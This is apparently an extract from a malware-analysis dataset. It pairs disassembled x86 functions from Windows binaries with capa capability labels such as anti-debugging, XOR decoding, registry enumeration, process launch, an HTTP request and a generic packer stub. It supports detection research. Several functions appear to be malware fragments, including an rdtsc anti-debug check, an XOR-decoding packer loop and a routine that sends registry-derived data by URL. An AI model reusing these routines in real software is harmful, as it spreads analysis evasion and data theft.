joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40186f
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
rdtsc
mov ebx, eax
rdtsc
sub eax, ebx
push eax
cmp eax, 1
je 0x401874
pop eax
cmp eax, 0x200
jb 0x401893
mov dword [ebp - 4], 1
jmp 0x40189a
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
pop ebx
leave
ret

Function at 0x4018d7
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push esi
push edi
push 5
mov esi, 0x44e050
pop ecx
lea edi, [ebp - 0x20]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x44e048
lea edi, [ebp - 8]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x20]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00401c36
lea eax, [ebp - 8]
push eax
call fcn.00401c36
pop ecx
mov esi, 0x100
pop ecx
lea eax, [ebp - 0x120]
push esi
xor edi, edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x120]
push esi
push eax
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x220]
push eax
call fcn.0043f7f0
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x220]
push eax
call fcn.0043f800
add esp, 0x10
lea eax, [ebp - 0x220]
push edi
push edi
push eax
lea eax, [ebp - 8]
push eax
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 1
pop eax
pop edi
pop esi
leave
ret

Function at 0x401aef
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp + 0xc]
mov dword [ebp - 8], 1
push eax
push 0x20019
push 0
mov dword [ebp - 4], 0x104
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401b5a
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push dword [ebp + 0x14]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
test eax, eax
jne 0x401b54
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 4], 0
je 0x401b5a
cmp dword [ebp - 4], 1
je 0x401b5a
push 1
pop eax
leave
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
leave
ret

Function at 0x401c36
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
xor esi, esi
push edi
call fcn.0043f8e0
dec eax
pop ecx
je 0x401c67
push 5
mov eax, esi
xor edx, edx
pop ecx
div ecx
push edi
inc dl
xor dl, byte [esi + edi + 1]
mov byte [esi + edi], dl
inc esi
call fcn.0043f8e0
dec eax
pop ecx
cmp esi, eax
jb 0x401c48
and byte [esi + edi], 0
mov eax, edi
pop edi
pop esi
ret

Function at 0x401c70
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
xor esi, esi
push edi
call fcn.0043f8e0
test eax, eax
pop ecx
jbe 0x401c9d
push 5
mov eax, esi
xor edx, edx
pop ecx
div ecx
push edi
inc dl
xor byte [esi + edi], dl
inc esi
call fcn.0043f8e0
cmp esi, eax
pop ecx
jb 0x401c83
mov eax, edi
pop edi
pop esi
ret
Function at 0x403edd
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
push esi
push edi
push 0xa
mov esi, 0x44e6d4
pop ecx
lea edi, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x44e6c8
lea edi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 5
mov esi, 0x44e6b0
pop ecx
lea edi, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
and dword [ebp - 8], 0
lea eax, [ebp - 0x58]
push eax
movsw word es:[edi], word [esi]
call fcn.00401c36
lea eax, [ebp - 0x14]
push eax
call fcn.00401c36
lea eax, [ebp - 0x2c]
push eax
call fcn.00401c36
push dword [ebp + 0xc]
lea eax, [ebp - 0x260]
push eax
call fcn.0043f7f0
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x260]
push eax
call fcn.0043f800
push dword [ebp + 8]
lea eax, [ebp - 0x15c]
push eax
call fcn.0043f7f0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x15c]
push eax
call fcn.0043f800
add esp, 0x2c
lea eax, [ebp - 0x15c]
push 0
push eax
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x15c]
push eax
call fcn.0043e8b2
pop ecx
test eax, eax
pop ecx
je 0x403fa2
xor eax, eax
jmp 0x403fd2
lea eax, [ebp - 8]
push eax
push 0
lea eax, [ebp - 0x2c]
push 0x403fd6
push eax
push dword [ebp - 4]
call fcn.00420996
add esp, 0x14
test eax, eax
je 0x403fc4
xor esi, esi
jmp 0x403fc7
push 1
pop esi
push dword [ebp - 4]
call fcn.0043d60e
pop ecx
mov eax, esi
pop edi
pop esi
leave
ret
Function at 0x40441d
Capabilities:
Encode data using xor
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
push edi
push 9
pop ecx
mov esi, 0x44e73c
lea edi, [ebp - 0x58]
lea eax, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
mov esi, 0x44e734
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x44e724
lea edi, [ebp - 0x34]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor ebx, ebx
push eax
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], 0x64
mov dword [ebp - 0x1c], ebx
movsb byte es:[edi], byte [esi]
call fcn.00401c36
lea eax, [ebp - 0x24]
push eax
call fcn.00401c36
lea eax, [ebp - 0x34]
push eax
call fcn.00401c36
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0xc
lea eax, [ebp - 0x14]
mov edi, 0x80000001
push eax
push 0xf003f
lea eax, [ebp - 0x58]
push ebx
push eax
push edi
call esi
test eax, eax
je 0x4044a1
xor eax, eax
jmp 0x40460d
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x414]
push eax
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x66c]
push 0x44e1b8
push eax
call fcn.0043fe2e
add esp, 0x10
lea eax, [ebp - 0x10]
push eax
push 0xf003f
lea eax, [ebp - 0x66c]
push ebx
push eax
push edi
call esi
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x1f4
push eax
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push ebx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4045c8
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x220]
push eax
call fcn.0043f7f0
pop ecx
lea eax, [ebp - 0x18]
pop ecx
mov dword [ebp - 0x18], 0x1f4
push eax
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x34]
push ebx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4045c8
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0xf0]
push eax
call fcn.0043f7f0
lea eax, [ebp - 0xf0]
mov dword [ebp - 4], ebx
push eax
call fcn.0043f8e0
add esp, 0xc
test eax, eax
jbe 0x4045a6
mov eax, dword [ebp - 4]
xor byte [ebp + eax - 0xf0], 0xf
inc dword [ebp - 4]
lea eax, [ebp + eax - 0xf0]
lea eax, [ebp - 0xf0]
push eax
call fcn.0043f8e0
cmp dword [ebp - 4], eax
pop ecx
jb 0x40457f
lea eax, [ebp - 0xf0]
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x414]
push eax
push 0x44e720
call fcn.004052cb
add esp, 0x10
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 0xc]
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x414]
push eax
mov dword [ebp - 8], 0x64
push dword [ebp - 0xc]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
jne 0x4044ba
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4052cb
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa20
push ebx
push esi
push edi
push 0xb
pop ecx
mov esi, 0x44e97c
lea edi, [ebp - 0x2c]
lea eax, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00401c36
mov esi, dword [ebp + 0xc]
push esi
call fcn.0043f8e0
pop ecx
xor ebx, ebx
cmp eax, 0x3e8
pop ecx
jbe 0x405307
mov byte [esi + 0x3e8], bl
lea eax, [ebp - 0xa20]
push 0x454596
push eax
call fcn.0043f7f0
lea eax, [ebp - 0xa20]
push str._actionadda
push eax
call fcn.0043f800
push dword [ebp + 8]
lea eax, [ebp - 0xa20]
push eax
call fcn.0043f800
lea eax, [ebp - 0xa20]
push 0x44e968
push eax
call fcn.0043f800
push esi
call fcn.0043f8e0
add esp, 0x24
test eax, eax
jbe 0x40537f
lea eax, [ebp - 0x220]
push esi
push eax
call fcn.0043f7f0
lea eax, [ebp - 0x220]
push eax
call fcn.00401ca2
push eax
lea eax, [ebp - 0xa20]
push eax
call fcn.0043f800
add esp, 0x14
lea eax, [ebp - 0xa20]
push 0x44e964
push eax
call fcn.0043f800
push dword [ebp + 0x10]
call fcn.0043f8e0
add esp, 0xc
test eax, eax
jbe 0x4053ca
push dword [ebp + 0x10]
lea eax, [ebp - 0x220]
push eax
call fcn.0043f7f0
lea eax, [ebp - 0x220]
push eax
call fcn.00401ca2
push eax
lea eax, [ebp - 0xa20]
push eax
call fcn.0043f800
add esp, 0x14
lea eax, [ebp - 0xa20]
push 0x44e960
push eax
call fcn.0043f800
push dword [ebp + 0x14]
call fcn.0043f8e0
add esp, 0xc
test eax, eax
jbe 0x40548c
push dword [ebp + 0x14]
lea eax, [ebp - 0x220]
push eax
call fcn.0043f7f0
lea eax, [ebp - 0x220]
push eax
call fcn.00401ca2
push eax
lea eax, [ebp - 0xa20]
push eax
call fcn.0043f800
lea eax, [ebp - 0xa20]
push 0x44e95c
push eax
call fcn.0043f800
lea eax, [ebp - 0x220]
push 0x454480
push eax
call fcn.0043f7f0
lea eax, [ebp - 0x220]
push eax
call fcn.00401ca2
push eax
lea eax, [ebp - 0xa20]
push eax
call fcn.0043f800
add esp, 0x30
lea eax, [ebp - 0x2c]
push ebx
push ebx
push ebx
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
mov edi, eax
push 0x80000000
push ebx
lea eax, [ebp - 0xa20]
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call esi
push edi
call esi
push 1
pop eax
jmp 0x405499
push str.Saliendo1_n
call fcn.00440779
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4059f6
Capabilities:
Hash data with md5

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x5c
push 0
push esi
call fcn.004403d0
add esp, 0xc
mov dword [esi], 0x67452301
mov dword [esi + 4], 0xefcdab89
mov dword [esi + 8], 0x98badcfe
push 1
mov dword [esi + 0xc], 0x10325476
pop eax
pop esi
ret
Function at 0x409d8a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x454170]
push esi
test eax, eax
push edi
je 0x409dba
push eax
lea eax, [ebp - 0x108]
push 0x4500f4
push eax
push 0xe6
call fcn.00408e66
add esp, 0x10
jmp 0x409e2a
call fcn.00409990
test eax, eax
je 0x409de4
lea eax, [ebp - 0x310]
mov esi, 0xe6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x310]
push eax
call fcn.0040948c
jmp 0x409e03
lea eax, [ebp - 0x20c]
mov esi, 0xe6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x20c]
push eax
call fcn.00409463
mov edi, eax
pop ecx
test edi, edi
je 0x409eaa
push edi
lea eax, [ebp - 0x108]
push 0x4500f4
push eax
push esi
call fcn.00408e66
push edi
call fcn.00440428
add esp, 0x14
lea eax, [ebp - 0x108]
push eax
call fcn.00409006
test eax, eax
pop ecx
jbe 0x409e4b
lea ecx, [ebp - 0x108]
dec ecx
cmp byte [ecx + eax], 0x5c
jne 0x409e4b
dec eax
jne 0x409e42
and byte [ebp + eax - 0x108], 0
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x108]
push ebx
push eax
mov eax, dword [ebp + 8]
push str._setilqs_
add eax, 0xffffffe2
push esi
push eax
call fcn.00408e66
push esi
call fcn.00409006
mov edi, eax
lea eax, [edi + esi]
push eax
push 0x14
call fcn.00408eac
add esp, 0x1c
push 0x14
pop ecx
movzx eax, byte [edi + esi]
push 0x3e
xor edx, edx
pop ebx
div ebx
mov al, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [edi + esi], al
inc edi
dec ecx
jne 0x409e89
and byte [edi + esi], 0
xor eax, eax
pop ebx
jmp 0x409ead
push 7
pop eax
pop edi
pop esi
leave
ret

Function at 0x40a0a4
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
lea eax, [ebp - 0x10c]
push esi
push eax
push 0x104
push dword [ebp + 0xc]
mov dword [ebp - 4], 0x200
push dword [ebp + 8]
call fcn.00409fc5
add esp, 0x10
test eax, eax
jne 0x40a167
lea eax, [ebp - 0x10c]
push eax
call fcn.00409c90
mov esi, eax
pop ecx
test esi, esi
je 0x40a160
push edi
call fcn.00409990
test eax, eax
mov ecx, esi
je 0x40a128
mov ax, word [esi]
test ax, ax
je 0x40a10f
cmp ax, 0x5c
je 0x40a10b
inc ecx
inc ecx
mov ax, word [ecx]
jmp 0x40a0f9
and word [ecx], 0
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
jmp 0x40a152
mov al, byte [esi]
test al, al
je 0x40a13b
cmp al, 0x5c
je 0x40a138
mov al, byte [ecx + 1]
inc ecx
jmp 0x40a12a
and byte [ecx], 0
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push esi
mov edi, eax
call fcn.00440428
pop ecx
test edi, edi
pop edi
jne 0x40a167
mov dword [ebp - 4], 0x200
mov eax, dword [ebp - 4]
pop esi
leave
ret
Function at 0x41e8b8
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
xor eax, eax
test edx, edx
jle 0x41e8e1
mov ecx, dword [esp + 4]
push esi
push edi
movzx esi, byte [ecx]
mov edi, eax
movzx esi, byte [esi + 0x44948c]
shl edi, 3
xor esi, edi
xor eax, esi
inc ecx
dec edx
jne 0x41e8c8
pop edi
pop esi
ret
Function at 0x44496d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4536b0
cmp edx, dword [eax]
je 0x44498f
add eax, 8
inc ecx
cmp eax, 0x453740
jl 0x444980
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4536b0]
jne 0x444abd
mov eax, dword [0x4541d0]
cmp eax, 1
je 0x444a97
test eax, eax
jne 0x4449c0
cmp dword [0x453094], 1
je 0x444a97
cmp edx, 0xfc
je 0x444abd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4449f7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0043f7f0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0043f8e0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x444a3a
lea eax, [ebp - 0x1a4]
push eax
call fcn.0043f8e0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x44ccc4
push edi
call fcn.0043fd30
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0043f7f0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0043f800
lea eax, [ebp - 0xa0]
push 0x44cca4
push eax
call fcn.0043f800
push dword [esi + 0x4536b4]
lea eax, [ebp - 0xa0]
push eax
call fcn.0043f800
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00445e75
add esp, 0x2c
pop edi
jmp 0x444abd
lea eax, [ebp + 8]
lea esi, [esi + 0x4536b4]
push 0
push eax
push dword [esi]
call fcn.0043f8e0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
nop
jmp int.00401219
Function at 0x422200
Capabilities:
Get geographical location

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jle 0x42228e
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
cmp dword [esp + 0x18], 0x2d
jne 0x42224c
push 0
push str.vepamanal_tulesizoxe_yabadodopa_zokorubonoxesiticohub_foyidufumobowebacaxosububonobo
call edi
push str.wuviyakox
push str.yekukefocudovizene
push str.kaluravujokiziduyux
push str.vixuboxituja
call ebx
push 0
call ebp
call fcn.00422150
mov ecx, dword [esp + 0x14]
xor byte [esi + ecx], al
cmp dword [esp + 0x18], 0xf
jne 0x422284
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push str.tigegisipawupesavumefozoj
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
inc esi
cmp esi, dword [esp + 0x18]
jl 0x422222
pop edi
pop ebp
pop ebx
cmp dword [esp + 0xc], 0x2d
pop esi
jne 0x4222aa
mov dword [0x434cf0], 0xa62e7790
mov dword [0x434cf4], 0xffffffff
ret
Function at 0x422670
Capabilities:
Access the windows event log
Set file attributes

Disassembly:
mov eax, dword [0x434ce4]
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
mov ebp, 0x1519a5
lea esp, [esp]
mov dword [0x43494c], 0x8e46a7b8
cmp eax, 0x3dc
jne 0x4226ba
push 0
push str.lujawidolo
call esi
push str.rusokuj
push 0
push 0
call edi
mov eax, dword [0x434ce4]
dec ebp
jne 0x422690
mov edi, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
xor esi, esi
mov ebp, 0xec58acac
lea ebx, [ebx]
cmp eax, 0x997
jne 0x4226e2
push 0
push 0
call edi
mov eax, dword [0x434ce4]
cmp esi, 0x846373
jne 0x4226f9
mov eax, dword [0x432ad0]
add eax, 0xa231
mov dword [0x434ce4], eax
cmp eax, 0x141
jne 0x422710
mov dword [0x434138], ebp
mov dword [0x43413c], 0xffffffff
inc esi
cmp esi, 0x123c962
jl 0x4226d0
call fcn.004222f0
pop edi
pop esi
xor eax, eax
pop ebp
ret 0x10
Function at 0x401000
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
imul edi
imul eax
not edi
sub edi, 0x75
rcr edx, 0xb8
sub eax, 0x79
sub esi, 0x3d
neg eax
not eax
or edx, 0xd3
bswap eax
inc edi
rcr ebx, 0xa4
mov eax, 0x82
inc edx
imul edx
dec edi
rol edi, 0xb9
not eax
dec ebx
neg edx
add ebx, 0x7a
rcl ebx, 0x6a
not edi
sub esi, 0xb5
dec ebx
not ebx
inc edi
neg eax
sub ebx, 0xe4
rcr ebx, 0x36
rcr edx, 0x52
rcr edi, 4
inc eax
rcl edx, 0x44
dec edi
mov ebx, 0x43
and esi, 0xbd
rcl esi, 0x66
rcl edx, 0xbe
rcr eax, 0x1f
not ebx
rcl edi, 0x82
sbb eax, 0xd0
sbb edi, 0x7b
bswap esi
sub esi, 0x99
bswap eax
sub esi, 0xb7
and ebx, 0x76
xor ecx, ecx
xor edi, edi
add esi, 0x72
not eax
not ebx
dec edi
rcl edx, 0x1f
inc esi
inc edx
sbb eax, 0x8d
rcr esi, 0xe7
mov ebx, 0xa0
imul edx
rcl edx, 0x13
add edi, 0x48
ror esi, 0xf2
and eax, 0xad
dec edi
rol edx, 0xcc
rol eax, 0xe3
bswap ebx
sub eax, 0xd2
inc ebx
neg esi
inc edx
rol eax, 0x55
rcr edx, 0x35
ror edx, 0x36
neg edi
inc esi
sbb esi, 0x56
not edi
inc ebx
and ebx, 0x7a
sub eax, 0x58
ror esi, 0x3a
inc edi
not edi
rcr edx, 0x11
sub esi, 0x94
inc edx
ror esi, 0x52
bswap eax
imul edx
not edx
bswap edi
dec edi
sbb esi, 0xf1
and edi, 0x4d
dec esi
bswap eax
rcr ebx, 0xc3
mov ecx, dword [ebp + 0xc]
dec eax
and eax, 0
mov esi, 0xf2
add edi, 0x40
rcr ebx, 0x5d
not esi
inc ebx
dec ebx
mov ebx, 0x13
rol eax, 0xd7
add eax, 0x6b
bswap ebx
dec edi
and edi, 3
bswap esi
rcl eax, 0x92
bswap edx
neg edi
add ebx, 0x7f
bswap edx
and ebx, 0xe4
rcl edx, 0xd7
inc esi
rcl edx, 0xae
mov edx, 0xba
ror edx, 0x3a
ror ebx, 0xac
bswap ebx
neg edx
sbb edi, 1
add edx, 0x43
inc edx
inc eax
bswap esi
ror esi, 0x1a
not esi
sub esi, 0x26
rcr edx, 0x94
not edi
not edi
dec eax
dec esi
ror ebx, 0x4e
inc edi
bswap edi
neg edx
bswap ebx
sbb ebx, 0x21
not ebx
inc ebx
mov edi, dword [ebp + 8]
xor esi, esi
xor ebx, ebx
xor ebx, esi
mov ebx, esi
xor esi, ebx
mov esi, eax
mov ebx, ebx
mov ebx, ebx
xor ebx, esi
mov eax, eax
xor esi, ebx
xor esi, eax
not byte [edi]
xor esi, ebx
mov esi, ebx
mov ebx, esi
mov esi, ebx
mov eax, eax
xor eax, esi
xor esi, ebx
xor ebx, ebx
xor esi, eax
sub byte [edi], 0x67
xor ebx, esi
xor ebx, eax
mov ebx, eax
xor esi, ebx
xor ebx, ebx
xor esi, ebx
mov eax, ebx
xor esi, eax
mov ebx, eax
add byte [edi], 0x84
xor esi, ebx
xor eax, eax
mov esi, ebx
mov eax, eax
xor ebx, ebx
mov esi, eax
mov ebx, eax
xor eax, esi
mov esi, ebx
imul byte [edi]
inc edi
loop 0x40119d
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x403323
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402219
and dword [ebp - 4], 0
cmp dword [0x4584b0], 0
mov ebx, eax
jne 0x4033d4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x403485
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40a8d0
push edi
call esi
test eax, eax
je 0x403485
push eax
call fcn.004021a7
mov dword [esp], 0x40a8c0
push edi
mov dword [0x4584b0], eax
call esi
push eax
call fcn.004021a7
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4584b4], eax
call esi
push eax
call fcn.004021a7
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4584b8], eax
call esi
push eax
call fcn.004021a7
pop ecx
mov dword [0x4584c0], eax
test eax, eax
je 0x4033d4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004021a7
pop ecx
mov dword [0x4584bc], eax
mov eax, dword [0x4584bc]
cmp eax, ebx
je 0x40342c
cmp dword [0x4584c0], ebx
je 0x40342c
push eax
call fcn.00402222
push dword [0x4584c0]
mov esi, eax
call fcn.00402222
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40342c
test edi, edi
je 0x40342c
call esi
test eax, eax
je 0x403423
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x403423
test byte [ebp - 0xc], 1
jne 0x40342c
or dword [ebp + 0x10], 0x200000
jmp 0x403465
mov eax, dword [0x4584b4]
cmp eax, ebx
je 0x403465
push eax
call fcn.00402222
pop ecx
test eax, eax
je 0x403465
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x403465
mov eax, dword [0x4584b8]
cmp eax, ebx
je 0x403465
push eax
call fcn.00402222
pop ecx
test eax, eax
je 0x403465
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4584b0]
call fcn.00402222
pop ecx
test eax, eax
je 0x403485
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x403487
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40518e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x457bf8]
jne 0x405198
repz ret
jmp fcn.004068b5